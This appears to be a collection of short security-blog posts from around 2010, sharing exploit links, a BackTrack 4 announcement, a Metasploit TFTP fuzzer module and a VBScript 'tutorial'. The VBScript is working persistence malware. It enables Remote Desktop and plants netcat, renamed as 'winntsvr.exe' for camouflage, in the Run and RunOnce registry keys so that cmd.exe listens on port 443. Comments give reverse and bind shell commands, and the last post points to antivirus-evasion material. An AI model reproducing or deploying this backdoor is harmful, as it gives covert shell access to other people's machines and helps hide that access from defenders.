IE Aurora

Internet Explorer "Aurora" Exploit Code released to the public.

Check here:
http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/

Multiple Media Player HTTP DataHandler Overflow

Check this out:
http://www.offensive-security.com/blog/vulndev/multiple-media-player-http-datahandler-overflow/

Exploit:
http://www.exploit-db.com/exploits/11142

BackTrack 4 is Here!!!

Guys,

The long awaited BackTrack 4 (Security Live CD Distro) is finally here.
You can download the ISO file or the VMware version here:
http://www.backtrack-linux.org/downloads/

I have tested it and it works great. I even tried to update it with the latest Metasploit Framework 3.3.4 and it's up and running smoothly.

Lets share some information on this distro since I'm one of the fans.

For those Security freaks in Indonesia, you can join: IndoBackTrack, here is the link:
http://indobacktrack.or.id/
There you can also find some alternative download links for BackTrack 4 Final Release.

Enjoy...

Simple FTP Fuzzer

Guys, want to see the FTP Fuzzer?
Here is an example...

#Metasploit

require 'msf/core'
class Metasploit3 < Msf::Auxiliary
       include Msf::Auxiliary::Scanner
       def initialize
               super(
                       'Name'           => '3Com TFTP Fuzzer',
                       'Version'        => '$Revision: 1 $',
                       'Description'    => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
                       'Author'         => 'Your name here',
                       'License'        => MSF_LICENSE
               )
               register_options( [
               Opt::RPORT(69)
               ], self.class)
       end
       def run_host(ip)
               # Create an unbound UDP socket
               udp_sock = Rex::Socket::Udp.create(
                       'Context'   =>
                               {
                                       'Msf'        => framework,
                                       'MsfExploit' => self,
                               }
               )
               count = 10  # Set an initial count
               while count < 2000  # While the count is under 2000 run
                       evil = "A" * count  # Set a number of "A"s equal to count
                       pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00"  # Define the payload
                       udp_sock.sendto(pkt, ip, datastore['RPORT'])  # Send the packet
                       print_status("Sending: #{evil}")  # Status update
                       resp = udp_sock.get(1)  # Capture the response
                       count += 10  # Increase count by 10, and loop
               end
       end
end

Metasploit Framework 3.3 No GUI & Web

As of Metasploit Framework 3.3, msfgui and msfweb will no longer be supported.

:) cihuy...

Tutorial: VBScript in Action

Here is an example of a VBScript that will Enable Remote Desktop and Plant Trojan or Backdoor (such as Netcat) or known as Persistent Netcat.

' This VBScript will do the following:
' 1. Enable Remote Desktop
' 2. Plant Trojan or Backdoor in the Registry
'
' Rename your Netcat (nc.exe) as winntsvr.exe as a "camouflage"

Dim objShell, RegLocate, RegLocate1
Set objShell = WScript.CreateObject("WScript.Shell")
On Error Resume Next

' Enable Remote Desktop
RegLocate = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections"
objShell.RegWrite RegLocate,"0","REG_DWORD"

' Plant Trojan or Backdoor in the Registry
RegLocate =
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update"
objShell.RegWrite RegLocate,"C:\WINDOWS\System32\winntsvr -v -L -p443 -d -e cmd.exe","REG_SZ"

RegLocate =
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update"
objShell.RegWrite RegLocate,"C:\WINDOWS\System32\winntsvr -v -L -p443 -d -e cmd.exe","REG_SZ"

' Reverse Connect
' On the Target: winntsvr -v -L -p443 -d -e cmd.exe
' On the Attacker: nc -v 131.107.1.254 443

' Bind Connect
' On the Target: winntsvr -v 131.107.1.222 443 -d -e cmd.exe
' On the Attacker: nc -v -l -p443

WScript.Quit

Netcat and AntiVirus (bypass) ...

If your Netcat is detected by AntiVirus, you can do something with it.

Check this out:
http://www.packetstormsecurity.org/papers/virus/Taking_Back_Netcat.pdf

Good tutorial :)